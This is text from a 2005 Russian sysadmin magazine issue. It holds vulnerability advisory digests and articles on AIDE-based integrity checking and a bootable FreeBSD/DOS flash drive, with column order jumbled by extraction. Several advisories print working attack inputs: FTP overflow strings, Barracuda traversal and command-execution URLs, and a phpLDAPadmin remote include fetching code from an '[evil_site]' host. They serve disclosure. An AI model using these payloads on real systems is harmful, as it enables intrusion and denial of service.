Переполнение буфера при обработке ARJ-архивов в NOD32Программа: NOD32 nod32.002 version 1.033 build 1127.Опасность: Критическая.Описание: Уязвимость существует из-за ошибки при об-работке ARJ-архивов, содержащих слишком длинные име-на файлов. Удачная эксплуатация уязвимости позволит злоумышленнику выполнить произвольный код на целе-вой системе.URL производителя: www.nod32.com.Решение: Установите исправление с сайта производите-ля.

Выполнение произвольного кода в vxFtpSrvПрограмма: vxWeb 0.9.7.Опасность: Критическая.Описание: Удаленный пользователь может подключить-ся к FTP-серверу и послать специально сформирован-ную команду USER, что приведет к переполнению буфе-ра и позволит злоумышленнику вызвать отказ в обслужи-вании или выполнить произвольный код на целевой сис-теме. Пример:

URL производителя: www.cam.com/vxftpsrv.html.Решение: В настоящее время способов устранения уязви-мости не существует.

USER seth@@@@[...]@@@D@@@C@@@B@@@XXXX

Обход каталога и выполнение команд в Barracuda Spam FirewallПрограмма: Barracuda Spam Firewall версии до 3.1.18.Опасность: Высокая.Описание: Обход каталога возможен из-за недостаточной обработки входных данных в параметре f сценария /cgi-bin/img.pl. Удаленный пользователь может с помощью специ-ально сформированного URL, содержащего символы обхо-да каталога, просмотреть произвольные файлы и выпол-нить произвольные команды на системе. Примеры:

URL производителя: www.barracudanetworks.com.Решение: Установите последнюю версию (3.1.18) с сайта производителя.

http://[target]:8000/cgi-bin/img.pl?f=../home/emailswitch/code/ conÞg/current.conf http://[target]:8000/cgi-bin/img.pl?f=../bin/ls|

Выполнение произвольных команд в Mozilla FirefoxПрограмма: Mozilla Firefox 1.0.6.Опасность: Высокая.Описание: Уязвимость обнаружена в сценарии, который вызывается для обработки консольных команд, содер-жащихся в URL. Удаленный пользователь может заста-вить пользователя нажать на специально сформирован-ную ссылку во внешнем приложении, которое использу-ет Firefox в качестве браузера по умолчанию, и выполнить произвольные команды на системе с привилегиями теку-щего пользователя. Уязвимость существует только на UNIX-платформах.URL производителя: www.mozilla.org/products/firefox.Решение: Установите последнюю версию с сайта произ-водителя.

Утечка памяти в ApacheПрограмма: Apache 2.0.х.Опасность: Средняя.Описание: Уязвимость существует в функции ap_byterange_filter() модуля modules/http/http_protocol.c. Удален-ный пользователь может послать CGI -приложению специ-ально сформированный HTTP-запрос и вызвать отказ в об-служивании приложения.URL производителя: www.apache.org.Решение: Установите исправление, доступное по SVN: http://svn.apache.org/viewcvs.cgi?rev=239378&view=rev.

Отказ в обслуживании в SlimFTPdПрограмма: SlimFTPd 3.17.Опасность: Средняя.Описание: Уязвимость существует при обработке команд FTP USER и PASS. Удаленный пользователь может послать сервису специально сформированные команды и вызвать отказ в обслуживании приложения. Пример:

URL производителя: www.whitsoftdev.com/slimftpd.Решение: В настоящее время способов устранения уязви-мости не существует.

USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\nPASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n

Отказ в обслуживании в SquidПрограмма: Squid 2.5.Опасность: Средняя.Описание: Уязвимость существует из-за ошибки сегмента-ции в функции sslConnectTimeout() файла /squid/src/ssl.c. Уда-ленный пользователь может с помощью специально сфор-мированного запроса аварийно завершить работу уязвимо-го сервиса.URL производителя: www.squid-cache.org.Решение: Установите исправление с сайта производите-ля: www.squid-cache.org/…2.5.STABLE10-sslConnectTimeout.patch.

Составил Александр Антипов

Page 30: 034 Системный Администратор 09 2005

28

администрирование

А зачем отдельный скрипт запуска?Конечно, наилучшим решением бы-ла бы загрузка с LiveCD/Flash/другой системы, монтирование дисков серве-ра вручную и проверка их в полностью доверенной системе. Но неприятности тем и неприятны, что приходят как раз в тот момент, когда такая система, ес-ли она есть, неисправна, незаконче-на или просто физически отсутствует. Поэтому для запуска проверки непос-редственно на недостоверной машине будет использовать AIDEStart.

AIDEstart – второй скрипт, предна-значенный для управления удаленны-

ми базами AIDE. Его назначение – ис-пользовать сохраненные базы для про-верки системы. При этом предполага-ется, что проверяемая машина недове-ренная, то есть может содержать пов-режденные и/или зараженные файлы. Поэтому дополнительно ко всему про-чему AIDEstart минимально использует ее средства, говоря точнее, использу-ется только ядро системы (/boot/kernel). Все остальные средства находятся на съемном носителе, предназначен-ном для хранения последнего поколе-ния баз AIDE.

Дополнительно к последнему поко-лению носитель содержит полный ком-

УПРАВЛЯЕМ УДАЛЕННЫМИ БАЗАМИ AIDEЧАСТЬ II – AIDEStart

Никто его не ждет, хотя постоянно готовится к нему. И вот он наступает – день, когда

сервер взламывается и необходимо проверить, какие файлы подверглись изменениям.

Заветная флэшка с данными контрольных сумм достается из сейфа. Как ей воспользоваться

на взломанной машине, чтобы максимально обезопасить себя от фальсификации результата?

РАШИД АЧИЛОВ

плект исполняемых файлов для выпол-нения проверки и всех вспомогатель-ных операций: chown, chmod, ln и т. д. Все они сделаны статически собранны-ми для того, чтобы исключить взаимо-действие с libc.so. AIDEstart выполняет обычный комплект операций – иници-ализация базы, проверка, обновление базы. Если база обновлялась, то полу-ченную обновленную базу необходимо перенести на Flash вручную, для чего предусмотрена опция командной стро-ки «не размонтировать Flash по окон-чании работы».

Полный текст скрипта смотрите на сайте www.samag.ru, в разделе «Исход-

Page 31: 034 Системный Администратор 09 2005

29№9, сентябрь 2005

администрирование

ный код»). Он снабжен достаточно подробными коммента-риями, а наиболее важные и интересные моменты мы об-судим далее по ходу статьи.

Готовим носитель для AIDEStartДля того чтобы Flash, содержащий базы, предварительно заполненный с помощью AIDEcontrol, можно было исполь-зовать c AIDEstart, его необходимо предварительно подго-товить. Эти действия не выполняются AIDEControl, посколь-ку заранее неизвестно, будет ли использоваться AIDEStart для проверки или нет. Все действия по подготовке Flash необходимо проводить на доверенной машине, поскольку именно этот комплект исполняемых файлов будет считать-ся эталоном при запуске на недостоверной машине. Flash, заполненный с помощью AIDEControl, содержит каталоги с именами, совпадающими с именами машин в файле опи-сания узлов. Дополнительно необходимо вручную создать каталоги bin и bin5, в которые поместить соответственно статически собранные для FreeBSD 4.x и для FreeBSD 5.x исполняемые файлы: Bzip2, AIDE, camcontrol, chown, chmod, cp, mv, less, rm, umount, а также собственно aidecontrol, aidestart и конфигурационный файл aidecontrol.conf.

Для того чтобы собрать все перечисленные выше ис-полняемые файлы, статически ищем их в дереве исход-ных текстов системы (или портов для AIDE), и добавляем в Makefile строчку:

после чего запускаем make. После завершения работы make в каталоге будет находится исполняемый файл, собранный статически, в чем можно убедиться таким образом:

Местоположение нужных нам файлов:! /usr/src/bin/chmod! /usr/src/bin/cp! /usr/src/bin/mv! /usr/src/bin/rm! /usr/src/sbin/camcontrol! /usr/src/sbin/umount! /usr/src/usr.bin/bzip2! /usr/src/usr.bin/less! /usr/src/usr.sbin/chown

Опции командной строки и примеры запускаПеред началом проверки нам нужно переписать конфигура-ционный файл aidecontrol.conf на его обычное место – /usr/local/etc/aidecontrol.conf. Это обычный текстовый файл, за не-го нечего бояться. Файл можно и не копировать, но тогда при-дется каждый раз указывать место его размещения.

AIDEStart распознает следующие опции командной строки:! -h – краткая справка по опциям (без примеров).! -i – инициализировать базы AIDE (выполняется коман-

да aide --init).

! -c – проверить систему по последней базе (выполняет-ся команда aide --check).

! -u – обновить последнюю базу данных (выполняется ко-манда aide --update).

! -m – сравнить базы данных (выполняется команда aide --compare).

! -f – указывает имя и путь к конфигурационному файлу (по умолчанию /usr/local/etc/aidecontrol.conf).

! -n – не размонтировать Flash после окончания работы. Эта опция предназначена для команд, изменяющих ба-зу. AIDEStart сам не копирует созданную/обновленную базу с компьютера на Flash, и это сделано намеренно. Вы сами должны решить, стоит ли заменять последнюю копию базы на Flash, на новую или нет.

! -5 – скрипт запускается на FreeBSD 5.x (по умолчанию предполагается 4.x).

Таким образом:

инициализирует базу по умолчанию (/var/db/aide/aide.db, ес-ли в конфигурационном файле не указано иное).

проверит систему по последней базе с ее одновременным обновлением, выведет отчет с помощью less и переимену-ет «новую» базу (aide.db.new) в «старую» (aide.db). После выполнения этой операции Flash не будет размонтирова-на для возможной перезаписи «старой» базы.

сравнит «старую» базу, загруженную с Flash, и «новую» (aide.db.new), созданную, возможно, в другое время, исполь-зуя конфигурационный файл /tmp/blabla.conf и учитывая то, что запускаться скрипт будет на FreeBSD 5.x.

Загрузка базы AIDE для проверкиЭта функция разбирается просто для того, чтобы показать, что скрипт действительно не использует никаких систем-ных исполняемых файлов для работы – только свои собс-твенные.

Выполнение операцииПеред тем как скопировать базу с Flash-диска, скрипт проверяет параметр starthost из конфигурационного фай-ла – его значение должно быть установлено равным тому имени, что было задано для данного компьютера в фай-

LDADD += -static

# ldd chmod

ldd: chmod: not a dynamic executable

# aidestart -i

# aidestart -u -n

#aidestart -m -f /tmp/blabla.conf -5

loadbase(){ $aidepath/rm -f $adbnam

$aidepath/cp $aidebase/$adbnam.bz2 $adbnam.bz2 $aidepath/chown $abowner:$abgroup $adbnam.bz2 $aidepath/chmod $abmode $adbnam.bz2

$aidepath/bzip2 -d -q $adbnam.bz2}

Page 32: 034 Системный Администратор 09 2005

30

администрирование

Если монтирование Flash проходит успешно, то ошибиться практически не-где. Единственная возможность – ука-зать неверные пути в aidecontrol.conf. Пожалуйста, проверьте правильность написания, существования и наличия прав на данные каталоги (Кто сказал, что root может все? Попробуйте-ка уда-лить каталог с атрибутом schg при kern.securelevel=2 и выше).

ЗаключениеТак все-таки можно обойтись без дан-ного скрипта или нет? Конечно, можно, если все выполняемые здесь операции делать руками, помнить правильную последовательность и не ошибать-ся в ней. Данный скрипт – всего лишь «малая механизация» для того, чтобы освободить свою память для решения более важных задач. Ну и, разумеет-ся, не следует оставлять Flash с база-ми где попало, в том числе и в рабо-чем столе. Например, я постоянно но-шу ее при себе.

Литература:1. Ачилов Р. Управляем удаленными

базами AIDE. – Журнал «Систем-ный администратор», №8, август 2005 г. – 48-53 с.

ле описания узлов, использованного в AIDEcontrol. Если значение парамет-ра не изменено (а по умолчанию оно равно «--SET-HERE--»), скрипт прекра-щает работу.

Затем скрипт пытается смонтиро-вать Flash с последним поколением баз. Для этого должны быть выполне-ны все необходимые настройки, опи-санные в [1]. Если все сделано пра-вильно, Flash должен монтироваться сразу же после установки. Это очень просто проверить – достаточно вста-вить Flash, и он должен смонтировать-ся в точку /mnt/umass (или любую дру-гую, заданную в /etc/fstab). Так же, как и в AIDEStart, монтирование происходит в бесконечном цикле ожидания – пока нужное устройство не найдено среди смонтированных, можно будет увидеть только запрос на установку Flash.

После успешного монтирования Flash выполняется запрошенная опе-рация. Для операции инициализации базы загрузка с Flash не производит-ся, иначе последняя база загружает-ся с Flash в стандартное расположе-ние и выполняется соответствующая операция. После выполнения опера-ции можно просмотреть отчет (он отоб-ражается автоматически с помощью

less), после чего «новая» база будет переименована в «старую» (для init или update), у нее будет изменен владелец и права доступа на указанные в конфи-гурационном файле.

Последнее, что сделает скрипт, – это размонтирует Flash, если не за-дан ключ, запрещающий это. Перед тем как размонтировать, в /tmp будут сброшены исполняемые файлы umount и camcontrol, потому что Flash будет недоступна, а пользоваться недове-ренными исполняемыми файлами не-льзя. Сброшенные umount и camcontrol размонтируют Flash и остановят ус-тройство (скрипт анализирует спи-сок устройств и выбирает то, которое было на нужной нам точке монтиро-вания). Остановка устройства нужна главным образом для того, чтобы по-гасить индикатор готовности на Flash, хотя это работает не на всех устройс-твах. После чего и собственно umount и camcontrol будут тоже удалены.

Возможные ошибкиНаиболее сложной частью здесь яв-ляется настройка USB для того, что-бы монтирование Flash происходило автоматически. Об этом подробно рас-сказано в [1].

Page 33: 034 Системный Администратор 09 2005

31№9, сентябрь 2005

bugtraq

Обход ограничений безопасности в опции SSLVerifyClient в mod_sslПрограмма: mod_ssl версии до 2.8.24.Опасность: Средняя.Описание: Уязвимость существует в реализации аутен-тификации, основанной на сертификатах. Если значение опции SSLVerifyClient установлено в optional в глобальной конфигурации виртуального хоста, злоумышленник может обойти процесс аутентификации и получить неавторизо-ванный доступ к ресурсам веб-сайта.URL производителя: www.modssl.org.Решение: Установите последнюю версию с сайта произ-водителя: www.modssl.org/source/mod_ssl-2.8.24-1.3.33.tar.gz.

Уязвимость состояния операции в SquidПрограмма: Squid 2.5 и более ранние версии.Опасность: Средняя.Описание: Уязвимость обнаружена при обработке оста-новленных запросов в файле store.c. При определенных об-стоятельствах удаленный пользователь может прервать за-прос и вызвать отказ в обслуживании приложения с ошиб-кой «e->store_status == STORE_PENDING».URL производителя: www.squid-cache.org.Решение: Установите исправление с сайта произво-дителя: http://www.squid-cache.org/Versions/v2/2.5/bugs/squid-2.5.STABLE10-STORE_PENDING.patch.

Множественные уязвимости в FreeRADIUSПрограмма: FreeRADIUS 1.0.4.Опасность: Средняя.Описание: 1. Ошибка при обработке переменных окруже-ния в функции radius_exec_program() файла exec.c может вызвать переполнение стека и вызвать отказ в обслужи-вании системы.

2. Обнаружены ошибки Off-by-one в файлах token.c и sql_unixodbc.c. Удаленный пользователь может вызвать отказ в обслуживании приложения.

3. Переполнение стека в модуле xlat.c при обработке ответов от сервера может позволить злоумышленнику вы-звать отказ в обслуживании.

4. Утечка памяти возможна из-за ошибки в функции strftime() в файле xlat.c.

5. Раскрытие данных Ldap в модуле rlm_ldap.c позволя-ет злоумышленнику с помощью специально сформирован-ного LDAP-запроса получить доступ к потенциально важ-ной информации.URL производителя: www.freeradius.org.Решение: Установите исправление, доступное по cvs.

Отказ в обслуживании в Microsoft Exchange Server 2003Программа: Microsoft Exchange Server 2003.Опасность: Средняя.Описание: Уязвимость вызвана неопределенной ошиб-кой при обработке запросов для просмотра публичных па-пок. Удаленный пользователь может с помощью специаль-но сформированного IMAP4-запроса аварийно завершить службу Microsoft Exchange Information Store (Store.exe).URL производителя: www.microsoft.com.Решение: Установите исправление с сайта производите-ля.

Составил Александр Антипов

Отказ в обслуживании в Symantec Brightmail AntiSpamПрограмма: Symantec Brightmail AntiSpam 6.0.2.Опасность: Средняя.Описание: Удаленный пользователь может создать e-mail-сообщение, содержащее разветвленный zip-файл, что при-ведет к большому потреблению ресурсов для сканирова-ния сообщения.

Удаленный пользователь может послать специально сформированное сообщение, содержащее объект winmail.dat внутри MIME-файла, и вызвать отказ в обслуживании приложения.URL производителя: www.symantec.com.Решение: Установите исправление с сайта производите-ля: ftp://ftp.symantec.com/public/english_us_canada/products/sba/sba_60x/updates/patch157.zip.

Отказ в обслуживании в SnortПрограмма: Snort 2.4.0 и более ранние версии.Опасность: Средняя.О п и с а н и е : Уя з в и м о с т ь с у щ е с т вуе т в фу н к ц и и PrintTcpOptions() файла snort-2.4.0/src/log.c из-за ошибки в нулевом указателе разыменования. Удаленный пользо-ватель может послать приложению TCP/IP-пакет со специ-ально сформированной опцией TCP SACK и вызвать отказ в обслуживании. Успешная эксплуатация уязвимости тре-бует, чтобы Snort был запущен с ключом -v.URL производителя: www.snort.org.Решение: Установите последнюю версию (2.4.1), доступ-ную по CVS.

PHP-инклудинг в phpLDAPadminПрограмма: phpLDAPadmin 0.9.6 – 0.9.7/alpha5.Опасность: Критическая.Описание: Уязвимость позволяет удаленному пользова-телю с помощью специально сформированного URL вы-полнить произвольный PHP-сценарий на целевой системе с привилегиями веб-сервера. Пример:

Удаленный пользователь может просмотреть произ-вольные файлы на системе с помощью символов обхода каталога. Пример:

Удаленный пользователь может также выполнить про-извольный HTML-сценарий в браузере жертвы в контексте безопасности уязвимого сайта.URL производителя: www.phpldapadmin.sourceforge.net.Решение: В настоящее время способов устранения уязви-мости не существует.

http://[target]/[path]/phpldapadmin/welcome.php?custom _ welcome _ page=http ://[evil _ site]/cmd.gif

http://[target]/[path]/phpldapadmin/welcome.php?custom _ welcome _ page=../../../../../../../../etc/passwd

Page 34: 034 Системный Администратор 09 2005

32

администрирование

Наша цель – загрузиться с FlashПоначалу задача казалась настоль-ко несложной, что даже мысли писать об этом не возникало. Ну подумаешь, поставить систему на компьютер, в ко-тором нет ни дисковода гибких дисков, ни CD-ROM, а жесткие диски в нем ус-тановлены вертикально, чтобы боль-ше поместилось. К тому же он будет постоянно установлен в стойке и вы-

таскивать его надолго оттуда нельзя (а иначе что это за сервер?). Ведь сов-ременные компьютеры умеют грузить-ся с Flash. Нет такой Flash? Ну что ж, надо сделать... И не забыть при этом, что временами возникает необходи-мость тестирования жестких дисков, сетевых карт, xDSL-модемов и прочего оборудования на самом нижнем уров-не. А какая операционная система поз-волит это сделать? Правильно, только

СОЗДАЕМ СОЗДАЕМ ЗЗАГРУЖАЕМЫЙ FLASH-ДИСК АГРУЖАЕМЫЙ FLASH-ДИСК СС FFreereeBSD И DOSBSD И DOSЧАСТЬ IЧАСТЬ I

Начальство признало необходимость установки нового сервера, подписало счета, выделило

деньги – вот он, красавец! Вот только... как на него поставить FreeBSD? Дисковода нет,

CD-ROM отсутствует, из стойки не вытащить... Да и оборудование бы проверить.

Остается одно – загрузить с USB.

РАШИД АЧИЛОВРАШИД АЧИЛОВ

MS-DOS. Нужен непосредственный доступ к оборудованию. В *NIX такое может быть обеспечено драйвером, но где вы видели драйвер, который позволяет напрямую пропустить ко-манды канала? Значит, надо предус-мотреть на Flash-диске наличие MS-DOS, а также менеджер загрузок, ко-торый позволил бы выбрать при старте одну из этих систем. Причем это дол-жен быть не стандартный для FreeBSD

Page 35: 034 Системный Администратор 09 2005

33№9, сентябрь 2005

администрирование

шеизложенного – показать, что Frenzy и FlashBOOT созда-вались для решения разных задач. FlashBOOT – это не ком-плект программ для работы, это комплект аварийно-вос-становительный с возможностью установки системы на но-вый компьютер, что-то среднее между Install и Fixit-дисками из стандартной поставки FreeBSD. FlashBOOT в значитель-но большей мере рассчитан на тех, кто понимает, что он де-лает, потому что установка системы в нем производится не как обычно, «не выходя из sysinstall», а по большей час-ти ручным вводом команд. Да, это не модно. Да, это слож-нее, чем обычно. Но это работает. В нем нет и скорее всего никогда не будет никаких графических сред. В нем есть то, что необходимо для установки FreeBSD на новый компью-тер, для тестирования аппаратной части, для проверки фай-ловой целостности... и все, что входит в базовую поставку стандартной системы, перечислять здесь не имеет никако-го смысла. А также все, что можно запустить в DOS.

Итак, что же входит во FlashBOOT?

Состав FlashBOOTОтчет fdisk:

В качестве менеджера загрузки операционных систем используется программа, функционирующая под DOS – xFDisk, взятая с [2]. Программа была выбрана после долгой процедуры отбора менеджеров загрузки, способных:! Загрузиться с Flash самим. Как это ни странно, это ока-

залось непосильной задачей для SyMon [3], Ranish Partition Manager (имеет встроенный менеджер загру-зок [4]), XOSL [5] и MATTSoft Boot Manager [6].

! Загрузить FreeBSD. Это оказалось не под силу симпа-тичному, но, увы, бесполезному zBoot [7].

Другими прошедшими тест на возможность использо-вания для Flash оказались BootEasy и ExtIPL. Это неудиви-тельно, потому что BootEasy – стандартный менеджер за-грузок для FreeBSD, а ExtIPL присутствует в портах (sysutils/extipl). Почему я использовал менеджер загрузок, настра-иваемый под DOS, а не под FreeBSD (GRUB, например)? GRUB был установлен на первые версии FlashBOOT, но пос-

BootEasy, который своим аскетичным внешним видом спо-собен испугать кого угодно.

Это не Frenzy. И не FreeSBIE. Это FlashBOOT!Сообщество эхо-конференции RU.UNIX.BSD откровенно не-доумевало, когда я сказал о том, что собираюсь сделать. Отзывы были примерно такими: «это все ерунда, уже есть Frenzy, которая умеет грузиться с Flash, уже есть FreeSBIE, которая с версии 2.0 сможет загружаться с любого носите-ля, а DOS – так он вообще никому уже не нужен». Любопыт-но, что про то, что DOS никому не нужен, говорили люди, для которых замена жесткого диска, как правило, дешевле ремонта. Или же люди, не представляющие себе, что можно сделать с помощью, например, MHDD. На что я неизменно отвечал, что этот проект разрабатываю для себя, если ко-му-то он понравится – хорошо, нет – и не надо.

Итак, что же входит в состав Flash-BOOT и чем он отли-чается от Frenzy (FreeSBIE в настоящий момент еще не уме-ет грузиться с Flash и, по причинам, приведенным выше, не рассматривается).

«Frenzy – это «портативный инструмент системного ад-министратора», LiveCD на базе ОС FreeBSD, загрузившись с которого, администратор получает полностью работоспо-собную систему с набором программного обеспечения для настройки, проверки и анализа сети, тестирования ком-пьютерного «железа» и ряда других задач» – это описа-ние Frenzy взято с [1]. После ознакомления со списком про-грамм, входящих во Frenzy, я сразу же задался вопросом: «А для чего все это?». После некоторого более присталь-ного изучения возник и ответ: «Так это же LiveCD на Flash, а вовсе не то, что мне нужно!»

Какие цели преследует Frenzy? Как и любой другой LiveCD – загрузиться и предоставить пользователю макси-мально возможное количество программ для работы. Отсю-да и графическая среда, и почтовые клиенты, и разнообраз-ные коммуникаторы – список программ, входящих во Frenzy, достаточно впечатляющий. Несомненно, это все нужные ве-щи. Но как с их помощью проверить целостность файловой базы? AIDE, которая по моему мнению, нужнее, чем все гра-фические менеджеры, вместе взятые, я не нашел. Наличие программ стандартной поставки (fdisk, disklabel, sysinstall, etc.) на сайте не оговаривается, дистрибутив мне скачивать не захотелось – жаль тратить «на посмотреть» 600 Мб вов-се не бесплатного трафика. Скорее всего их нет – в состав Frenzy входит множество программ, нужно же где-то взять для них место. То есть установить FreeBSD на новый ком-пьютер с его помощью невозможно. Наличие стандартной документации на программы (все мы люди, ну вот вылете-ли у меня из головы ключи некоей программы – где пос-мотреть, если сервера нет, связи нет и спросить не у кого?) опять же не оговаривается, скорее всего их тоже нет. Со-здание собственного дистрибутива Frenzy – вещь отнюдь не тривиальная, автор об этом честно предупреждает, под FreeBSD 5.х создать дистрибутив Frenzy невозможно, по-тому что используется burncd для записи образа.

Все вышеприведенное было сказано вовсе не с целью как-то преуменьшить заслуги автора Frenzy – «ведь если звезды зажигают, значит, это кому-нибудь нужно». Цель вы-

# fdisk /dev/da0

******* Working on device /dev/da0 *******parameters extracted from in-core disklabel are:cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl)parameters to be used for BIOS calculations are:cylinders=246 heads=64 sectors/track=32 (2048 blks/cyl)Media sector size is 512Warning: BIOS sector numbering starts with sector 1Information from DOS bootblock is:The data for partition 1 is:sysid 4 (0x04),(Primary DOS with 16 bit FAT (< 32MB)) start 63, size 48132 (23 Meg), flag 0 beg: cyl 0/ head 1/ sector 1; end: cyl 47/ head 12/ sector 63The data for partition 2 is:sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 48195, size 455612 (222 Meg), flag 80 (active) beg: cyl 47/ head 13/ sector 1; end: cyl 499/ head 12/ sector 59The data for partition 3 is:<UNUSED>The data for partition 4 is:<UNUSED>

Page 36: 034 Системный Администратор 09 2005

34

администрирование

ле возникновения странных проблем, когда он неожидан-но отказался ставиться в область загрузки, был заменен на xFDisk, тем более что переставить DOS значительно про-ще, чем FreeBSD (рис. 1).

Раздел DOSСтандартный загружаемый раздел формата FAT16 с уста-новленной операционной системой MS-DOS 6.22. Опера-ционная система размещена в каталоге DOS. Установле-но следующее программное обеспечение:! Dos Navigator (C:\DN149).! Multi-Edit 7.0 (C:\ME70).! Norton Utilites 8.0 (C:\NORTON8).! Множество различных программ, работающих под DOS,

разнообразного назначения. Архиваторы, конвертеры, отладчики, упаковщики, драйвера оборудования – все, что может осесть на диске после более чем пяти лет ра-боты под DOS. (C:\UTILS и подкаталоги в нем).

Создано множество вариантов загрузки – загрузка EMM, загрузка драйвера звуковой карты, загрузка драй-вера CD-ROM и загрузка драйвера USB (да-да, это есть!) во всех возможных сочетаниях. Оболочка Dos Navigator установлена вместе с большой (порядка 60) коллекцией программ просмотра файлов различного формата. Запи-сана программа тестирования дисков на нижнем уровне MHDD. Все это покрывает практически 90% задач, для ко-торых используется DOS, а для остального всегда есть сво-бодное место.

Раздел FreeBSDОтчет disklabel:

Отчет df:

Здесь разделы Flash-диска смонтированы на другом компьютере в точки монтирования /mnt/umass/dos и /mnt/umass/ufs соответственно.

Стандартный загружаемый раздел FreeBSD. Система устанавливалась при помощи /stand/sysinstall и частично вручную, без применения каких-либо скриптов. Установ-лены стандартные пакеты base, compat4x и man. Вручную добавлены следующие пакеты (все устанавливалось че-рез порты):! pcre 5.0 (требуется для nmap)! libgpg-error 1.0 (требуется для libgcrypt)! mc 4.6.0! mhash 0.9.1 (требуется для aide)! aide 0.10! yui 3.1.15! libgcrypt 1.2.1! SSH2 3.2.9.1

! pkgconfig 0.17.2 (требуется для glib, mc)! libiconv 1.9.2 (требуется для gettext, glib, mc, libgcrypt,

libgpg-error)! rar 3.41! gettext 0.14.5 (требуется для glib, mc, libgcrypt, libgpg-

error)! glib 2.6.5 (требуется для mc)! unzip 5.52! nmap 3.81! libslang 1.4.9 (требуется для mc)! ncftp 3.1.9! grub 0.97

Для экономии места удалены все каталоги языковых настроек (удалено все, не относящееся к русскому или анг-лийскому). Это /usr/share/locale, /usr/local/share/locale. Почи-щены все каталоги поддержки национальных языков (/usr/share/nls, /usr/local/share/nls). Удалены каталоги с докумен-тацией о системе /usr/share/doc, /usr/share/info.

Скачать образ Flash, упакованный RAR 3.41, можно здесь – http://support.spectrum.ru/freebsd/dosandfreebsd54.rar. Контрольная сумма MD5 равна: MD5 (dosandfreebsd54.rar) = 732ada4b8bc98a0251cfe3682c160a62.

Ядро собрано с оптимизацией под Pentium III (на более старых компьютерах нет возможности загружаться с USB). Зарегистрирован только один пользователь root, который может заходить в систему без запроса пароля. Это было настроено с помощью PAM.

Сетевая карта при старте системы не настраивает-ся, это необходимо каждый раз делать вручную. Сделано это специально, потому что FlashBOOT – дистрибутив ава-рийно-восстановительный, и если он используется – значит произошло что-то нестандартное. По этой же причине не за-пускается ни один сетевой сервис. Впрочем, никто не поме-шает вам перенастроить систему по своему вкусу.

СозданиеРазнообразных ошибок при попытках создания двух раз-делов и менеджера загрузок было столько, что я просто не знал, за какую из них браться. Первоначальный порядок действий при создании Flash был примерно такой:! Создать раздел FAT16 и отформатировать его.! Установить загрузчик и ядро операционной системы

DOS.

# disklabel da0s2# /dev/da0s2:

8 partitions:# size offset fstype [fsize bsize bps/cpg] a: 455596 16 4.2BSD 2048 16384 28480 c: 455612 0 unused 0 0 # "raw" part, don't edit

Filesystem 1K-blocks Used Avail Capacity Mounted on/dev/da0s1 23863 19237 4626 81% /mnt/umass/dos/dev/da0s2a 220420 166856 35932 82% /mnt/umass/ufs

Рисунок 1. Внешний вид менеджера загрузок xFDisk

Page 37: 034 Системный Администратор 09 2005

35№9, сентябрь 2005

администрирование

! Установить менеджер загрузок.! Создать раздел (слайс) FreeBSD, корневой раздел фай-

ловой системы и отформатировать его (асинхронное об-новление должно быть отключено – мигнёт свет при за-грузке, и прощайте внесенные изменения.

! Проверить, что загружается и DOS, и FreeBSD.! Установить и настроить программное обеспечение обе-

их систем.

Несложный план, скажете вы. Не тут-то было. Пробле-мы были во всем, от установки менеджера загрузок до на-стройки софта. Больше всего проблем, конечно же, вызва-ло создание раздела FAT16 – ни тривиальными, ни нетри-виальными средствами сделать это сначала просто не уда-валось, потому что:! с FAT-раздела, создаваемого во FreeBSD через /stand/

sysinstall, а также через «fdisk -e», DOS грузиться кате-горически отказывался. Да, его можно было увидеть через USB for DOS при загрузке с дискеты, но коман-да sys c: завершалась аварийно. После нескольких по-пыток я отказался от практики создания разделов FAT во FreeBSD, так как заподозрил, что раздел FAT созда-ется «немножко не такой», каким хотел бы его видеть загрузчик BIOS.

! Flash 2.0 объемом 256 Мб, на которой предполагалось все это создать (Kingston DataTraveler 2.0), в Windows определяется как съемный носитель и соответственно не может быть размечен средствами программ работы с разделами жесткого диска типа Acronis Disk Director или Partition Magic.

Выход из положения был найден, когда я обнаружил, что другая, более старая Flash 1.1 128 Мб (Seitek BAR) оп-ределяется Windows как жесткий диск. С помощью Acronis Disk Director на этой Flash был создан раздел FAT16 разме-ром 23 Мб, DOS загружен с дискеты с драйверами USB for DOS и вновь созданный раздел был сделан загрузочным командой «sys a: c:».

После этого я убедился, что DOS с этой Flash загружа-ется, и скопировал ее начало (загрузчик, таблицу разделов, FAT и только что созданные системные файлы). Копиро-вать все 23 Мб не было необходимости, поскольку нужная информация о файловой системе сосредоточена исключи-тельно в FAT. Образ был создан следующей командой:

Файл образа, упакованный RAR 3.41, можно скачать по ссылке [8].

После его записи на Flash командой, например:

получится Flash с одним разделом DOS, в котором ничего нет, кроме ядра системы – io.sys, msdos.sys и command.com. Менеджера разделов тоже нет. Надо сказать, что в процес-се создания Flash именно этот файл не раз оказывал мне неоценимую помощь – неоднократно приходилось возвра-щаться к началу и заново разворачивать его на Flash. От-

чет fdisk по этому файлу можно скачать по ссылке [9]. Об-ратите внимание, что значения начала и конца раздела вы-ражены другими цифрами, хотя обьем тот же самый. Ни-же приводятся данные о разделе, созданном с помощью Acronis Disk Directory Suite в Windows.

Следующее действие заключалось в подборе менедже-ра загрузок, такого, чтобы он мог загрузиться с Flash сам и загрузить оттуда FreeBSD. В начале статьи уже перечис-лены менеджеры загрузок, которые были мной испытаны и проверка которых дала отрицательный результат. Пер-вым был проверен BootEasy, являющийся стандартным ме-неджером загрузок для FreeBSD – дубовым, страшненьким и абсолютно надежным. Разумеется, он заработал. После установки BootEasy первым делом был создан образ об-ласти загрузчика (первые 63 сектора Flash) для восстанов-ления работоспособности системы во время эксперимен-тов с загрузчиками.

Образ с загрузчиком BootEasy и двумя разделами (DOS и FreeBSD) можно скачать по ссылке [10]. Отчет fdisk по это-му образу можно скачать по ссылке [11].

Образ с загрузчиком xFDisk (внешний вид которого при-веден на рис. 1) и двумя разделами (DOS и FreeBSD) мож-но скачать по ссылке [12]. Отчет fdisk по этому образу мож-но скачать по ссылке [13].

SyMon, проверенный первым, не увидел ни одного раз-дела, программа настройки в версии 2.х отказалась за-пуститься, в версии 3.х захотела только создать новый раздел.

